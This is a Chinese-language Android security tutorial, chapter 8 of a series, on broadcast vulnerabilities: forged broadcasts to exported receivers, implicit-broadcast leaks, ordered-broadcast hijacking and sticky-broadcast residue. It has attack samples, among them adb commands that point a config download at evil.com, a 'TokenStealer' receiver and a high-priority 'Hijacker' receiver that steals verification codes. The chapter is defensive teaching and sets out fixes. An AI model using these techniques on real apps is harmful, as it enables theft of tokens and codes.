Android移动安全第八章_广播安全
移动安全
广播是 Android 的事件通知机制。第一章简单提过广播注入和劫持,这一章深入展开——有序广播的优先级劫持、隐式广播的信息泄露、Sticky 广播的数据残留,以及各版本的限制变化。
> 系列目录: > > 1. Android 组件导出安全 > 2. Android Intent 安全 > 3. Android Binder 服务安全 > 4. Android ContentProvider 安全 > 5. Android WebView 安全 > 6. Android UI 欺骗与钓鱼 > 7. Android Deep Link 安全 > 8. Android 广播安全(本章) > 9. Android PendingIntent 安全 > 10. Android 系统设置安全 > 11. Android SSRF 与网络安全 > 12. Android 加密与数据存储安全 > 13. Android 认证与证书校验 > 14. Android Zip Slip 路径遍历 > 15. Android Fragment Injection > 16. Android SELinux 与沙箱机制 - - - - - - 1. 前言 ----- Android 的广播(Broadcast)是一种一对多的消息机制。一个组件发出一条广播,所有注册了匹配条件的 BroadcastReceiver(广播接收器)都会收到。系统用它来通知各种事件——开机完成、网络变化、电量低、App 安装/卸载等。App 之间也可以用自定义广播来通信。 广播的安全问题可以从两个方向看: - 发送方向:App 发出的广播被谁收到了?如果广播中携带了敏感数据(token、验证码),被攻击者的 Receiver 截获就是信息泄露 - 接收方向:Receiver 收到的广播来自谁?如果 Receiver 不校验广播来源,攻击者可以伪造广播触发敏感逻辑 第一章用 ADB 演示过向导出的 Receiver 发送伪造广播,那是接收方向的问题。本章把两个方向都展开讲。 - - - - - - 2. 广播基础 ------- ### 2.1 注册方式 BroadcastReceiver 有两种注册方式: 静态注册——在 Manifest 中声明,App 安装后就生效,即使 App 没有运行也能收到广播(Android 8.0 之后有限制,后面会讲): ```xml <receiver android:name=".BootReceiver" android:exported="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> ``` 动态注册——在代码中注册,只在 App 运行期间有效: ```java IntentFilter filter = new IntentFilter("com.example.ACTION_UPDATE"); registerReceiver(myReceiver, filter); ``` 从安全角度看,静态注册的 Receiver 更容易被发现(直接在 Manifest 中可见),动态注册的 Receiver 需要通过代码分析才能找到。 ### 2.2 广播类型 Android 有三种广播分发方式: | 类型 | 方法 | 特点 | |---|---|---| | 普通广播 | sendBroadcast() | 所有匹配的 Receiver 同时收到,无序 | | 有序广播 | sendOrderedBroadcast() | 按优先级依次分发,高优先级先收到,可以修改或终止广播 | | Sticky 广播 | sendStickyBroadcast() | 广播发出后会"粘"在系统中,后续注册的 Receiver 也能收到(已废弃) | 普通广播是最常用的,有序广播用于需要按顺序处理的场景(比如短信接收),Sticky 广播在 Android 5.0 后被标记为废弃但仍然可用。 ### 2.3 权限控制 发送和接收广播都可以附加权限要求: ```java // 发送时指定权限:只有持有该权限的 Receiver 才能收到 sendBroadcast(intent, "com.example.permission.RECEIVE_DATA"); // 接收时指定权限:只有持有该权限的 App 发出的广播才会被接收 registerReceiver(receiver, filter, "com.example.permission.SEND_DATA", null); ``` Manifest 中静态注册也可以指定权限: ```xml <receiver android:name=".SecureReceiver" android:exported="true" android:permission="com.example.permission.TRUSTED_SENDER"> <intent-filter> <action android:name="com.example.ACTION_SECURE" /> </intent-filter> </receiver> ``` 这样只有持有 `com.example.permission.TRUSTED_SENDER` 权限的 App 发出的广播才会被 SecureReceiver 接收。但和第一章讲的一样,如果这个权限的 protectionLevel 是 normal,任何 App 声明 `<uses-permission>` 就能获得,保护力度有限。 - - - - - - 3. 广播注入 ------- ### 3.1 原理 如果一个导出的 BroadcastReceiver 没有设置权限保护,任何 App 都可以向它发送广播。Receiver 内部如果不校验广播来源就直接处理数据,攻击者就能注入恶意数据触发敏感逻辑。 ```java public class CommandReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String command = intent.getStringExtra("command"); if ("clear_cache".equals(command)) { clearAppCache(context); } else if ("reset_token".equals(command)) { resetAuthToken(context); // 攻击者可以触发 token 重置 } else if ("update_config".equals(command)) { String configUrl = intent.getStringExtra("config_url"); downloadConfig(configUrl); // 攻击者可以指定配置下载地址 } } } ``` 攻击者通过 ADB 或恶意 App 发送伪造广播: ```bash adb shell am broadcast -a com.example.ACTION_COMMAND \ --es command "reset_token" ``` 或者: ```bash adb shell am broadcast -a com.example.ACTION_COMMAND \ --es command "update_config" \ --es config_url "https://evil.com/malicious_config.json" ``` ### 3.2 常见的危险模式 | 模式 | 说明 | 危害 | |---|---|---| | 命令执行 | Receiver 根据广播参数执行不同操作 | 触发敏感功能 | | URL 加载 | Receiver 从广播中取 URL 传给 WebView 或下载器 | 加载恶意内容 | | 数据写入 | Receiver 把广播中的数据写入数据库或文件 | 数据污染 | | 状态修改 | Receiver 根据广播修改 App 内部状态(登录状态、配置项) | 逻辑绕过 | ### 3.3 系统广播伪造 有些 App 会监听系统广播(如 `BOOT_COMPLETED`、`CONNECTIVITY_CHANGE`)来触发特定逻辑。攻击者可以伪造这些系统广播: ```bash adb shell am broadcast -a android.intent.action.BOOT_COMPLETED \ -n com.target.app/.BootReceiver ``` 但从 Android 8.0 开始,很多系统广播被限制为只能由系统发送(protected broadcast)。第三方 App 发送 protected broadcast 会被系统拒绝。不过这个限制只针对 `sendBroadcast()`,通过 ADB 的 `am broadcast` 仍然可以发送。 - - - - - - 4. 广播泄露 ------- ### 4.1 隐式广播泄露 第二章讲过隐式 Intent 的泄露问题,广播也一样。如果 App 使用隐式广播(不指定接收者包名)发送敏感数据,任何注册了匹配 action 的 App 都能收到: ```java // 不安全:隐式广播,任何 App 都能收到 Intent intent = new Intent("com.example.ACTION_TOKEN_UPDATE"); intent.putExtra("new_token", "eyJhbGciOiJIUzI1NiJ9..."); sendBroadcast(intent); ``` 攻击者只需注册一个匹配的 Receiver: ```xml <receiver android:name=".TokenStealer" android:exported="true"> <intent-filter> <action android:name="com.example.ACTION_TOKEN_UPDATE" /> </intent-filter> </receiver> ``` 安全的做法是使用显式广播(指定接收者包名)或 LocalBroadcastManager(后面会讲): ```java // 安全:显式广播,只发给指定 App Intent intent = new Intent("com.example.ACTION_TOKEN_UPDATE"); intent.setPackage("com.example.app"); intent.putExtra("new_token", "eyJhbGciOiJIUzI1NiJ9..."); sendBroadcast(intent); ``` ### 4.2 有序广播劫持 有序广播(Ordered Broadcast)按 Receiver 的优先级(priority)从高到低依次分发。高优先级的 Receiver 可以: - 读取广播中的数据 - 修改广播数据(通过 `setResultData()` / `setResultExtras()`) - 终止广播传递(通过 `abortBroadcast()`),后续低优先级的 Receiver 收不到 ```java // 受害 App 发送有序广播 Intent intent = new Intent("com.example.ACTION_VERIFY"); intent.putExtra("verification_code", "123456"); sendOrderedBroadcast(intent, null); ``` 攻击者注册一个高优先级的 Receiver: ```xml <receiver android:name=".Hijacker" android:exported="true"> <intent-filter android:priority="999"> <action android:name="com.example.ACTION_VERIFY" /> </intent-filter> </receiver> ``` ```java public class Hijacker extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // 窃取验证码 String code = intent.getStringExtra("verification_code"); Log.d("Hijacker", "Intercepted code: " + code); // 终止广播,合法 Receiver 收不到 abortBroadcast(); } } ``` priority 的有效范围是 -1000 到 1000。攻击者设置 999 就能抢在大多数合法 Receiver 之前处理广播。 这个攻击在早期 Android 版本上被用于拦截短信验证码——系统通过有序广播分发收到的短信,恶意 App 注册高优先级 Receiver 就能先于短信 App 收到短信内容,然后 abortBroadcast 让用户看不到这条短信。Android 4.4 之后,短信广播的分发机制做了调整,默认短信 App 总是能收到,但其他 App 仍然可以监听。 ### 4.3 resultData 泄露 有序广播的 Receiver 可以通过 `setResultData()` 设置返回数据,后续 Receiver 通过 `getResultData()` 读取。如果某个 Receiver 把敏感数据放到 resultData 中,后续所有 Receiver 都能读到: ```java // 合法 Receiver(优先级 100) @Override public void onReceive(Context context, Intent intent) { String token = generateToken(); setResultData(token); // 放入 resultData } // 攻击者 Receiver(优先级 50,后收到) @Override public void onReceive(Context context, Intent intent) { String token = getResultData(); // 读取到了 token Log.d("Attacker", "Got token: " + token); } ``` - - - - - - 5. Sticky 广播 ------------ ### 5.1 原理 Sticky 广播(粘性广播)通过 `sendStickyBroadcast()` 发送。和普通广播不同的是,Sticky 广播发出后会"粘"在系统中——即使发送时没有匹配的 Receiver,后续注册的 Receiver 也能收到最后一次发送的 Sticky 广播。 ```java // 发送 Sticky 广播 Intent intent = new Intent("com.example.ACTION_STATUS"); intent.putExtra("status", "authenticated"); intent.putExtra("session_id", "sess_abc123"); sendStickyBroadcast(intent); ``` ```java // 后续注册的 Receiver 也能收到 IntentFilter filter = new IntentFilter("com.example.ACTION_STATUS"); Intent stickyIntent = registerReceiver(null, filter); // stickyIntent 不为 null,包含最后一次 Sticky 广播的数据 String sessionId = stickyIntent.getStringExtra("session_id"); ``` ### 5.2 安全问题 Sticky 广播有两个安全问题: 1. 数据残留:Sticky 广播的数据一直保留在系统中,直到被 `removeStickyBroadcast()` 显式移除或设备重启。任何 App 在任何时候都可以通过 `registerReceiver(null, filter)` 读取残留的数据 2. 数据覆盖:任何持有 `BROADCAST_STICKY` 权限的 App 都可以发送同一 action 的 Sticky 广播,覆盖之前的数据。`BROADCAST_STICKY` 是 normal 级别权限,声明即可获得 ```java // 攻击者覆盖 Sticky 广播数据 Intent intent = new Intent("com.example.ACTION_STATUS"); intent.putExtra("status", "authenticated"); intent.putExtra("session_id", "attacker_session"); sendStickyBroadcast(intent); ``` 如果受害 App 依赖 Sticky 广播中的 session\_id 来做身份验证,攻击者就能注入自己的 session。 ### 5.3 废弃状态 `sendStickyBroadcast()` 在 Android 5.0(API 21)被标记为 `@Deprecated`(废弃),但没有被移除,仍然可以调用。Google 建议使用其他机制(如 SharedPreferences、LiveData、ContentProvider)替代。 实际中仍然有 App 在使用 Sticky 广播,尤其是一些老旧的系统组件和第三方 SDK。 - - - - - - 6. LocalBroadcastManager ------------------------ ### 6.1 原理 LocalBroadcastManager 是 AndroidX 库提供的一个工具类,用于在 App 内部发送和接收广播。它和系统广播的区别是:广播只在 App 进程内传递,不经过系统的广播分发机制,其他 App 无法收到也无法发送。 ```java // 发送本地广播 LocalBroadcastManager lbm = LocalBroadcastManager.getInstance(context); Intent intent = new Intent("com.example.ACTION_INTERNAL"); intent.putExtra("token", "sensitive_data"); lbm.sendBroadcast(intent); // 接收本地广播 lbm.registerReceiver(receiver, new IntentFilter("com.example.ACTION_INTERNAL")); ``` ### 6.2 安全特性 LocalBroadcastManager 从设计上消除了广播的两个安全问题: - 不会泄露:广播不离开 App 进程,外部 App 无法监听 - 不会被注入:外部 App 无法向 LocalBroadcastManager 发送广播 但 LocalBroadcastManager 在 AndroidX 1.1.0 中被标记为废弃,Google 建议使用 LiveData 或 Kotlin Flow 等响应式方案替代。废弃的原因不是安全问题,而是架构设计上 Google 更推荐观察者模式。 - - - - - - 7. 版本演进 ------- ### 7.1 Android 7.0(API 24):限制 CONNECTIVITY\_CHANGE Android 7.0 开始,静态注册的 Receiver 不再能接收 `CONNECTIVITY_ACTION`(网络状态变化)广播。这是 Google 限制隐式广播的第一步——很多 App 注册了这个广播来监听网络变化,导致每次网络切换时大量 App 被唤醒,影响性能和电量。 ### 7.2 Android 8.0(API 26):隐式广播限制 Android 8.0 做了一个比较大的改动:targetSdk >= 26 的 App,静态注册的 Receiver 不再能接收大多数隐式广播。只有少数豁免的广播(如 `BOOT_COMPLETED`、`LOCALE_CHANGED`)仍然可以通过静态注册接收。 这意味着攻击者的 App 如果 targetSdk >= 26,不能通过静态注册 Receiver 来监听目标 App 的自定义隐式广播。但动态注册不受此限制——只要攻击者的 App 在运行,动态注册的 Receiver 仍然可以接收隐式广播。 ```java // Android 8.0+ 仍然可以通过动态注册接收隐式广播 IntentFilter filter = new IntentFilter("com.target.app.ACTION_TOKEN"); registerReceiver(receiver, filter); ``` ### 7.3 Android 9.0(API 28):NETWORK\_STATE\_CHANGED 限制 Android 9.0 限制了 Wi-Fi 相关广播中携带的信息。`NETWORK_STATE_CHANGED_ACTION` 广播不再包含 SSID(Wi-Fi 网络名称)和 BSSID(接入点 MAC 地址),需要通过 `WifiManager` API 并持有位置权限才能获取。 ### 7.4 Android 13(API 33):动态注册 Receiver 需要声明导出 Android 13 引入了一个新的要求:动态注册 BroadcastReceiver 时必须指定是否接收外部 App 的广播: ```java // Android 13+ 必须指定 RECEIVER_EXPORTED 或 RECEIVER_NOT_EXPORTED registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED); // 或 registerReceiver(receiver, filter, Context.RECEIVER_NOT_EXPORTED); ``` 如果不指定,targetSdk >= 33 的 App 会抛出异常。这个改动和 Android 12 对静态组件要求显式声明 exported 类似,目的是让开发者明确意识到 Receiver 是否对外暴露。 ### 7.5 Android 14(API 34):Protected Broadcast 加强 Android 14 扩大了 protected broadcast 的范围,更多系统广播被标记为只能由系统发送。第三方 App 尝试发送 protected broadcast 时会被系统静默丢弃(不抛异常,但广播不会被分发)。 - - - - - - 8. 总结 ----- 广播的安全问题围绕"谁发的"和"谁收到了"两个方向展开。 回顾一下: - 广播注入:导出的 Receiver 没有权限保护时,攻击者可以发送伪造广播触发敏感逻辑 - 隐式广播泄露:不指定接收者包名的广播可以被任何 App 监听,携带敏感数据时就是信息泄露 - 有序广播劫持:高优先级的 Receiver 可以读取、修改、终止广播,早期被用于拦截短信验证码 - Sticky 广播的数据残留在系统中,任何 App 随时可以读取,且可以被覆盖 - Android 8.0 限制了静态注册接收隐式广播,Android 13 要求动态注册时声明是否导出 下一章讲 Android PendingIntent 安全。PendingIntent 是一种延迟执行的 Intent 包装,它允许其他 App 或系统在未来某个时刻代替你执行操作——这个"代替"机制如果处理不当,就是权限提升的入口。
发表于 2026-05-19 09:00:01
阅读 ( 6168 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
bReaK_1
16 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!